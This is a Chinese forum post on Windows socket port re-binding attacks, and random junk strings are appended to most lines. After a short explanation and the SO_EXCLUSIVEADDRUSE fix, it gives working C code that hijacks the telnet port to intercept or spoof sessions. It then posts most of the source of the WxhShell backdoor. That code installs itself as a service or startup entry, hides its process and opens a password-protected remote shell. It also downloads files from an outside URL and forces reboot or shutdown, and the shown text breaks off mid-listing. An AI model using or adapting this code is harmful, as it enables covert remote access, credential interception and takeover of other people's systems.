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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: b"DV8fdX  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); gMGX)Y ,=/  
}{R?i,j(  
  saddr.sin_family = AF_INET; CFLWo1  
c#ahFpsnlw  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 6njwrqo  
%nRz~3X|+v  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); F}f/cG<X  
c'wxCqnE   
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Y<]A 5cm  
w$aiVOjgT  
  这意味着什么?意味着可以进行如下的攻击: X6T*?t3!9[  
8_d>=*(  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 dR9[K4`p/  
#nD]G#>e  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) #FZoi:'Q  
4x2 ;@Pd  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 !08\w@  
>FR;Ux~a  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  A-&'/IHR"B  
)YtdU(^J$  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 6UK}?+r~  
~7G@S&<PK(  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 33M10 1X{6  
%Kk MWl&:  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 LX!MDZz  
"f Ni3 <x]  
  #include 8l50@c4UF~  
  #include `y^tCJ2u*  
  #include R v/=bY  
  #include    $:RP tG  
  DWORD WINAPI ClientThread(LPVOID lpParam);   RT`jWWh*Lo  
  int main() DjMhI_Yu  
  { ]c+HD*  
  WORD wVersionRequested; Wx`| u  
  DWORD ret; [ T6MaP?  
  WSADATA wsaData; 7m<;"e)  
  BOOL val; tO@n3"O  
  SOCKADDR_IN saddr; Xi:y35q  
  SOCKADDR_IN scaddr; -4=\uvYh  
  int err; Dcep^8'  
  SOCKET s; U2DE zr  
  SOCKET sc; Fv )H;1V  
  int caddsize; #cAX9LV  
  HANDLE mt; ev LZ<|  
  DWORD tid;   0dKv%X#\  
  wVersionRequested = MAKEWORD( 2, 2 ); 7`G FtX}  
  err = WSAStartup( wVersionRequested, &wsaData ); t0"2Si  
  if ( err != 0 ) { b~u53   
  printf("error!WSAStartup failed!\n"); Qp5YS  
  return -1;  j1sgvh]D  
  } $Lc-}m9n  
  saddr.sin_family = AF_INET; }jI=*  
   :&'[#%h8  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 <CIy|&J6  
l2S1?*  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); iiWm>yy  
  saddr.sin_port = htons(23); yQ/E0>Uj!  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) DOa%|H'P  
  { ukAE7O(W&  
  printf("error!socket failed!\n"); :W6R]y  
  return -1; KB\A<(o,  
  } +FGw)>g8'm  
  val = TRUE; qJyGr ?  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 "?f_U/+D<  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) <`P7^ 'z!  
  { 1oSU>I_i  
  printf("error!setsockopt failed!\n"); VS\+"TPuH  
  return -1; l.Yq4qW  
  } <W2 YG6^i  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; dJf#j?\[  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 OV+|j  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 \:pd+8  
zir?13N7  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) "P9SW?',  
  { 4*Y`Pn@  
  ret=GetLastError(); Y *?hA'  
  printf("error!bind failed!\n"); 0/~20KD{s  
  return -1; E8Y(C_:s  
  } bH1MDBb2  
  listen(s,2); v9K=\ j  
  while(1) f$I$A(0P  
  { }u&,;]  
  caddsize = sizeof(scaddr); 8oxYgj&~X  
  //接受连接请求 <3WaFi u  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); rT/4w#_3  
  if(sc!=INVALID_SOCKET) U3rpmml  
  { RGC DC*\  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 3zsjL=ta  
  if(mt==NULL) 032PR;]  
  { K[s!3.u  
  printf("Thread Creat Failed!\n"); _uQxrB"9  
  break; .cCB,re  
  } tFrNnbmlQ  
  } \O G`+"|L  
  CloseHandle(mt); _WB*ArR  
  } CWx_9b zk  
  closesocket(s); dxk~  
  WSACleanup(); 1_MaaA;ow"  
  return 0; ps&p|  
  }   FXO{i:Zo  
  DWORD WINAPI ClientThread(LPVOID lpParam) kgGMA 7Jy  
  { wNtPh&  
  SOCKET ss = (SOCKET)lpParam; "}ZUa~7  
  SOCKET sc; &l;wb.%ijW  
  unsigned char buf[4096]; _2p D  
  SOCKADDR_IN saddr; NxzRVsNF  
  long num; mJFFst,  
  DWORD val; 1_RN*M +#  
  DWORD ret; ~z&Ho  
  //如果是隐藏端口应用的话,可以在此处加一些判断 9{Xh wi)z  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   cK _:?G  
  saddr.sin_family = AF_INET; nZP%Z=p7  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 2y` :#e`x1  
  saddr.sin_port = htons(23); je`w$ ^w  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) &br_opNi  
  { r6 :c<p[c  
  printf("error!socket failed!\n"); n\'@]qG)Z4  
  return -1; whb,2=gIE  
  } Ks FkC=  
  val = 100; o)SA^5  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) S<=|i  
  { rG"QK!R5  
  ret = GetLastError(); iD`>Bt7gD  
  return -1; ,.-85isco  
  } jB-wJNP/  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) }$D{YHF  
  { P d)<Iw^<  
  ret = GetLastError(); -$@4e|e%a  
  return -1; W;y ,Xs  
  } qytH<UB  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) z3|)WS^  
  { j`LvS  
  printf("error!socket connect failed!\n"); {q^?Rw  
  closesocket(sc); \rPT7\ZA  
  closesocket(ss); <h[l)-86  
  return -1; u(bPdf@kz  
  } 5l,Q=V^@l  
  while(1) Y&y5^nG  
  { 6fcn(&Qk  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 [&H?--I  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 S1G=hgF_L  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。  OYwH$5  
  num = recv(ss,buf,4096,0); ns;nle|m  
  if(num>0) 6S6E 1~  
  send(sc,buf,num,0); 0\a;} S'g#  
  else if(num==0) &Rxy]kBA  
  break; lgei<\6~n5  
  num = recv(sc,buf,4096,0); g4CdzN~  
  if(num>0) xjO((JC  
  send(ss,buf,num,0); avwhGys#  
  else if(num==0) !Q" 3B6 86  
  break; +t`QHvxv  
  } wML5T+  
  closesocket(ss); XJ9l, :c,  
  closesocket(sc); u[yUUYe  
  return 0 ; ?KF.v1w7  
  } ]id5jVY  
GFmVR2z_+  
8"2X 8C8  
========================================================== o:C],G_  
DX)T}V&mP  
下边附上一个代码,,WXhSHELL (%^Bp\.02!  
Lf} @v  
========================================================== -4!i(^w[m/  
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#include "stdafx.h" B}A7Usm  
f[$9k}.  
#include <stdio.h> dab[x@#r>  
#include <string.h> ;zZGV4Qc~  
#include <windows.h> {<}kqn83sT  
#include <winsock2.h> Ow7}&\;^-  
#include <winsvc.h> {8a s _  
#include <urlmon.h> kTe0"  
km+}./@  
#pragma comment (lib, "Ws2_32.lib") Ls~F4ar$/  
#pragma comment (lib, "urlmon.lib") jhmWwT/O8^  
*[?DnF+  
#define MAX_USER   100 // 最大客户端连接数 n^m6m%J)  
#define BUF_SOCK   200 // sock buffer Vg^@6zU  
#define KEY_BUFF   255 // 输入 buffer +""8aA  
DU.nXwl]  
#define REBOOT     0   // 重启 P0N%77p>"  
#define SHUTDOWN   1   // 关机 zZ\2fKrpg  
 {@gTs  
#define DEF_PORT   5000 // 监听端口 g6=w MRt[  
 )$ +5imi  
#define REG_LEN     16   // 注册表键长度 <^,5z!z }  
#define SVC_LEN     80   // NT服务名长度 I];Hx'/<~  
-A A='s  
// 从dll定义API Axtf,x+lH  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); R9B!F{! 5  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 3"OD"  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); B U^3Ux$  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); bWAVBF  
u  teI[Q  
// wxhshell配置信息 (&x#VmDL  
struct WSCFG { {}TR'Y4  
  int ws_port;         // 监听端口 R0v5mD$:G  
  char ws_passstr[REG_LEN]; // 口令 hiN6]jL|O  
  int ws_autoins;       // 安装标记, 1=yes 0=no -{A!zTw1w  
  char ws_regname[REG_LEN]; // 注册表键名 *0aU(E #  
  char ws_svcname[REG_LEN]; // 服务名 D{!NTr  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 "77 j(Vs9  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 `1$7. ydQ  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 R;*3";+v|:  
int ws_downexe;       // 下载执行标记, 1=yes 0=no N>$Nw<wV  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" t6)wR  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ,Uh7Q-vd  
ZxRD+`  
}; Kpo{:a  
[|\JIr=of5  
// default Wxhshell configuration e2v[ma-  
struct WSCFG wscfg={DEF_PORT, J}-,!3qxW  
    "xuhuanlingzhe", ,&\uuD&.@  
    1, Yy"05V.  
    "Wxhshell", ,\FJVS;NeJ  
    "Wxhshell", b%fn1Ag9  
            "WxhShell Service", aiKZ$KLC  
    "Wrsky Windows CmdShell Service", |W/_S^C  
    "Please Input Your Password: ", Rj|8l K;,  
  1, ;J[1S  
  "http://www.wrsky.com/wxhshell.exe", 4oF8F)ASj  
  "Wxhshell.exe" 3PEv.hGx  
    }; ZMHb  
:(|;J<R%_  
// 消息定义模块 Ba\l`$%X  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; T`;>Kq:s  
char *msg_ws_prompt="\n\r? for help\n\r#>"; JWa9[Dj  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; x"Hi!h)v  
char *msg_ws_ext="\n\rExit."; ^/3R/;?  
char *msg_ws_end="\n\rQuit."; >g]kbes-\  
char *msg_ws_boot="\n\rReboot..."; /l,V0+p  
char *msg_ws_poff="\n\rShutdown..."; yB7=8 Pcx  
char *msg_ws_down="\n\rSave to "; rmW,#  
;-d }\f ,  
char *msg_ws_err="\n\rErr!"; ^+JpI*,  
char *msg_ws_ok="\n\rOK!"; }/yhwijg  
1r?<1vh:z  
char ExeFile[MAX_PATH]; |8$x  
int nUser = 0; \S)\~>.`y!  
HANDLE handles[MAX_USER]; NY'sZTM&  
int OsIsNt; (o1*7_]e  
>C`b 4xQ  
SERVICE_STATUS       serviceStatus; 1A4!zqT;  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; K.Tfu"6  
;J~NfL  
// 函数声明 `5[d9z/6  
int Install(void); HXTBxh  
int Uninstall(void); [lqwzW{(UN  
int DownloadFile(char *sURL, SOCKET wsh); '*5I5'[ X,  
int Boot(int flag); LFCcV<~  
void HideProc(void); o yBBW?m  
int GetOsVer(void); ;~$_A4;  
int Wxhshell(SOCKET wsl); Hb KJ&^  
void TalkWithClient(void *cs); gL(ny/Ob9  
int CmdShell(SOCKET sock); &i8AB{OU  
int StartFromService(void); Y. ]FVq  
int StartWxhshell(LPSTR lpCmdLine); 4+od N.  
G SXe=?  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); /RuGh8qzP  
VOID WINAPI NTServiceHandler( DWORD fdwControl );  iK$)Iy0  
'b#`8k~>  
// 数据结构和表定义 ysV0Ed  
SERVICE_TABLE_ENTRY DispatchTable[] = k[]B P4  
{ %X Jv;|  
{wscfg.ws_svcname, NTServiceMain}, zo-hH8J:  
{NULL, NULL} Bf$YwoZov  
}; Vf#X[$pc/  
W>Eee?  
// 自我安装 i2SR.{&  
int Install(void) ,F7W_f# @3  
{ bb# F2r4  
  char svExeFile[MAX_PATH]; hHsCr@i  
  HKEY key; 0*MY4r|-  
  strcpy(svExeFile,ExeFile); V]cD^Fqp  
bwG2=  
// 如果是win9x系统,修改注册表设为自启动 ^[no Gjy  
if(!OsIsNt) { 84UH& b'n  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { G};os+FxF  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); _\YBB=Os  
  RegCloseKey(key); #Jv|zf5Z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 6fhH)]0  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); #5xK&qA  
  RegCloseKey(key); Y '&&1 R  
  return 0; ~6z<tyD^  
    } {OP[Rrm  
  } sas}k7m"  
} 7*8R:X+^r  
else { m$ZPQ0X  
@U CGsw  
// 如果是NT以上系统,安装为系统服务 gwDQ@  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); {ZiJnJX  
if (schSCManager!=0) *2ZX*w37  
{ /s"mqBXCG  
  SC_HANDLE schService = CreateService ;Bk?,g  
  ( x2 *l5t  
  schSCManager, I@a y&NNh  
  wscfg.ws_svcname, .5*h']iFr1  
  wscfg.ws_svcdisp, =  *7K_M&  
  SERVICE_ALL_ACCESS, {<{ O!  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , !63p?Q=  
  SERVICE_AUTO_START, 7U> Xi'?  
  SERVICE_ERROR_NORMAL, tLXwszR0r  
  svExeFile, #T1py@b0zA  
  NULL, YIv!\`^ \  
  NULL, 3-z; pk  
  NULL, ]z EatY  
  NULL, 1*\JqCR  
  NULL p R=FH#  
  ); z^z_!@7v   
  if (schService!=0) 0|kkwZVPn  
  { E|OB9BOS  
  CloseServiceHandle(schService); 6? I,sZW  
  CloseServiceHandle(schSCManager); yOwo(+ 2  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); T8( \:v  
  strcat(svExeFile,wscfg.ws_svcname); YqhZndktX  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ~u-DuOZ8  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); f8yE>qJP  
  RegCloseKey(key); b(JQ>,hX  
  return 0; pvdM3+6  
    } !"~x.LX \  
  } (jbHV.]P9  
  CloseServiceHandle(schSCManager); oc+TsVt  
} h>AK^fX  
} fgrflW$  
wVU.j$+_#  
return 1; xj8 yQ Y1  
} 0$)uOUVJ  
HBHDu;u  
// 自我卸载 \$GM4:R D  
int Uninstall(void) 5VD(fW[OW]  
{ !n9H[QP^9  
  HKEY key; 04ZP\  
#-5.G>8  
if(!OsIsNt) { W^{zlg  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Ws%@SK  
  RegDeleteValue(key,wscfg.ws_regname); :.8@ xVH  
  RegCloseKey(key); Dv~W!T i  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 0LEJnl  
  RegDeleteValue(key,wscfg.ws_regname); 84g$V}mp  
  RegCloseKey(key); jc rLUs+\  
  return 0; Jg} w{,  
  } 'sb&xj`d  
} O# n<`;W  
} !C13E lf  
else { ZfMDyS$.  
MIa#\tJj  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); {k BHZ$/  
if (schSCManager!=0) T<:mG%Is  
{ 9e5XS\  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); je_:hDr  
  if (schService!=0) = BcKWC  
  { []^fb,5a  
  if(DeleteService(schService)!=0) { <'WS -P%U  
  CloseServiceHandle(schService); M_ *KA  
  CloseServiceHandle(schSCManager); S7i,oP7  
  return 0; 8EbJ5wu/%S  
  } ?|4Y(0N  
  CloseServiceHandle(schService); %gBulvg  
  } w[ )97d  
  CloseServiceHandle(schSCManager); e_U1}{=t  
} $?x;?wS0V  
} -|F(qf  
fcaUj9qN  
return 1; *CtWDUxSdW  
} ,xcm:; &  
tqo k.h  
// 从指定url下载文件 d\eTyN'rA  
int DownloadFile(char *sURL, SOCKET wsh) M N-j$-y}  
{ 'Cr2& dy  
  HRESULT hr; w3hG\2)[HS  
char seps[]= "/"; dgbqMu"  
char *token; -hy`Np  
char *file; 4~8!3JH39  
char myURL[MAX_PATH]; Dk ^,iY(u  
char myFILE[MAX_PATH]; su2|x  
E4}MU}C#[  
strcpy(myURL,sURL); E ^ub8  
  token=strtok(myURL,seps); 0c{-$K}  
  while(token!=NULL) 6KH&-ffd  
  { lftT55Tki  
    file=token; z5njblUz  
  token=strtok(NULL,seps); KOv?p@d  
  } @wVq%GG}  
P5?M"j0/^  
GetCurrentDirectory(MAX_PATH,myFILE); Al93x  
strcat(myFILE, "\\"); e-&0f);i  
strcat(myFILE, file); |.]g&m)y^h  
  send(wsh,myFILE,strlen(myFILE),0); &];:uYmMU  
send(wsh,"...",3,0); T)CEcz  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 5~ip N/)E  
  if(hr==S_OK) VbU*&{j  
return 0; Nbyc,a[o  
else xZ=6  
return 1; 0,{tBo  
"pA24Ze  
} yb/v?q?Fk  
TyGsSc  
// 系统电源模块 %f-Uwq&}Y"  
int Boot(int flag) {zNFp#z  
{ mMt~4(5  
  HANDLE hToken; V;N'?Gu  
  TOKEN_PRIVILEGES tkp; PR+L6DT_  
zWA~0l.2  
  if(OsIsNt) { l|jb}9(J  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); i3dV2^O  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); cXDG(.!n7B  
    tkp.PrivilegeCount = 1; K?J?]VCw  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; f.e4 C,  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); }LA7ku  
if(flag==REBOOT) { +$CO  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) QKP@+E_U  
  return 0; &YpWfY&V  
} zZE@:P&lf  
else { 8+|7*Ud  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) <&CzM"\Em  
  return 0; &sA@!  
} Y^(NzN  
  } Kk9eJ\  
  else { PrQs_ t Ni  
if(flag==REBOOT) { ,6Ua+\|  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ?S2!'L  
  return 0; uP.[,V0@^  
} ]"X} FU  
else { p E56CM  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) [g Y.h/  
  return 0; k62KZ5| D  
} lm[LDtc  
} 8|2I/#F}]  
}uo.N  
return 1; 4xsnN@b  
} r1]DkX <6  
j0(+Kq:J  
// win9x进程隐藏模块 gPf^dGi7t  
void HideProc(void) Gi S{=+=5  
{ fa#5pys  
U#gv ~)\k  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); D//uwom  
  if ( hKernel != NULL ) gZ 6Hj62D  
  { ,!I'0x1OR  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Y(97},  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ;)rs#T;$  
    FreeLibrary(hKernel); g@s'-8}X^  
  } Qh{]gw-6  
".|?A9m_  
return;  XKEbK\  
} @7z_f!'u  
w=}R'O;k  
// 获取操作系统版本 PvkHlb^x%  
int GetOsVer(void) 4+2hj*I  
{ G ]JWd  
  OSVERSIONINFO winfo; IA(+}V  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); S!{Kn ;@  
  GetVersionEx(&winfo); tLc~]G*\`s  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) jHx)q|2\  
  return 1; ?S0gazZm  
  else y^tp^  
  return 0; 5#}wI~U;  
} $?Yw{%W  
A6AIkKjzq  
// 客户端句柄模块 ffibS0aM  
int Wxhshell(SOCKET wsl) `7o(CcF6H  
{ yq,% ey8  
  SOCKET wsh; )u}MyFl.  
  struct sockaddr_in client; !vwx0  
  DWORD myID; d_!l RQ^N  
5;yVA  
  while(nUser<MAX_USER) RXWS,rF  
{ oP`yBX  
  int nSize=sizeof(client); \-scGemH  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); qE)G;Y<,1  
  if(wsh==INVALID_SOCKET) return 1; <CM}g4Y  
1Zi(5S)  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); W:XN!  
if(handles[nUser]==0) $/XR/  
  closesocket(wsh); rxM)SC;P  
else 99mo]1_  
  nUser++; @uzzyp r>  
  } AOVoOd+6  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); A_}%YHb  
Jz Z9ua  
  return 0; B_uAa5'  
} oHj64fE9  
U.0bbr  
// 关闭 socket \[5mBuk  
void CloseIt(SOCKET wsh) Ymr\8CG/  
{ >x 6$F*:W}  
closesocket(wsh); K" U!SWv  
nUser--; a8[Q1Fa4|  
ExitThread(0); DUOSL  
} TU,k( `tn<  
=S|^pN  
// 客户端请求句柄 Kj`sq":Je0  
void TalkWithClient(void *cs) o7#Mr`6H  
{ }N}\<RG  
8QaF(?  
  SOCKET wsh=(SOCKET)cs; AXOR<Ns`  
  char pwd[SVC_LEN]; @[] A&)B  
  char cmd[KEY_BUFF]; cc|"^-j-7  
char chr[1]; G ?&T0  
int i,j; e)x;3r"j  
M~ ^ {S[o  
  while (nUser < MAX_USER) { ZPolE_P7  
AG==A&d>$  
if(wscfg.ws_passstr) { Uk0]A  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); dtT2h>h9  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); DHO+JtO  
  //ZeroMemory(pwd,KEY_BUFF); q*kieqG  
      i=0; SjRR8p<   
  while(i<SVC_LEN) { TR([u  
D8I)3cXa'  
  // 设置超时 {aRZBIv  
  fd_set FdRead; W=)wiRQm  
  struct timeval TimeOut; eODprFkt}  
  FD_ZERO(&FdRead); fX 41o#  
  FD_SET(wsh,&FdRead); xFcRp2W9R  
  TimeOut.tv_sec=8; eS{ xma  
  TimeOut.tv_usec=0; 3ZKaqwK  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 9X2 lH~C  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ^"?b!=n!  
}{(|^s=  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); _Mis-K:]{?  
  pwd=chr[0]; Bhnwb0b<  
  if(chr[0]==0xd || chr[0]==0xa) { NXyuv7%5=  
  pwd=0; te b~KM  
  break; ~jqh&u$(  
  } =*u:@T=d5  
  i++; Gr a(DGX  
    } ~"ij,Op,3  
3M&IMf,/@  
  // 如果是非法用户,关闭 socket <(%cb.^c=N  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ErDt~FH  
} )5M9Ro7  
95G*i;E  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 9ywPWT[^  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); .+"SDt oX  
T'TxC)  
while(1) { /rqaUC)A  
-}?ud3f<  
  ZeroMemory(cmd,KEY_BUFF); tt7l%olw  
4gNF;  
      // 自动支持客户端 telnet标准   .C2.j[>  
  j=0; \I4*|6kA  
  while(j<KEY_BUFF) { ;_^ "}  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); (n~ e2tZ/  
  cmd[j]=chr[0]; =k(~PB^>  
  if(chr[0]==0xa || chr[0]==0xd) { &$ ?i  
  cmd[j]=0; jKcnZu  
  break; .2jG~_W[  
  } 1Jx|0YmO  
  j++; Kb#}f/  
    } o5N];Nj  
8;YN`S!o  
  // 下载文件 vkXdKL(q  
  if(strstr(cmd,"http://")) { Va1 eG]jQ  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Hkv4t5F  
  if(DownloadFile(cmd,wsh)) U*' YGv  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); L|3wG Y9E  
  else lj1wTiaI(  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); h|!F'F{  
  } n+EK}= DK  
  else { ?CQ\9 4kO  
E!4Qc+.   
    switch(cmd[0]) { Ass8c]H@  
  <Dr*^GX>?  
  // 帮助 ,cvLvN8  
  case '?': { gJy Ft8Z<  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); QPH2TXw  
    break; M-2:$;D  
  } 042sjt  
  // 安装 =9 TAs? =  
  case 'i': { *yv@-lP5s  
    if(Install()) ]x hmM1$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); R; X8%'   
    else NAj1ORy4pX  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); s68EzFS  
    break; .~4>5W"u  
    } %^l77 :O  
  // 卸载 m4@y58n=  
  case 'r': { d8b'Gjwtw  
    if(Uninstall()) fNi&1J-/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Hy<4q^3$G  
    else ><X!~by  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); TA}z3!-y*  
    break; Qhnz7/a9  
    } >8 V;:(nt  
  // 显示 wxhshell 所在路径 bl>MD8bzLE  
  case 'p': { Qr;es,f  
    char svExeFile[MAX_PATH]; "Yn <]Pa_  
    strcpy(svExeFile,"\n\r"); 62}bs/%  
      strcat(svExeFile,ExeFile); &Z+a (  
        send(wsh,svExeFile,strlen(svExeFile),0); )>ed6A1  
    break; [|2uu."$  
    } HRx%m1H  
  // 重启 BEM+FG  
  case 'b': { 'nNw  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); : 5@cj j  
    if(Boot(REBOOT)) %>uGzQ61  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); j\nnx8`7  
    else { O\L(I079  
    closesocket(wsh); {MKq Yl{  
    ExitThread(0); YtNoYOB  
    } 4yC{BRbi  
    break; VG'oy  
    } /D_8uTS>d[  
  // 关机 #UC4l]Ru A  
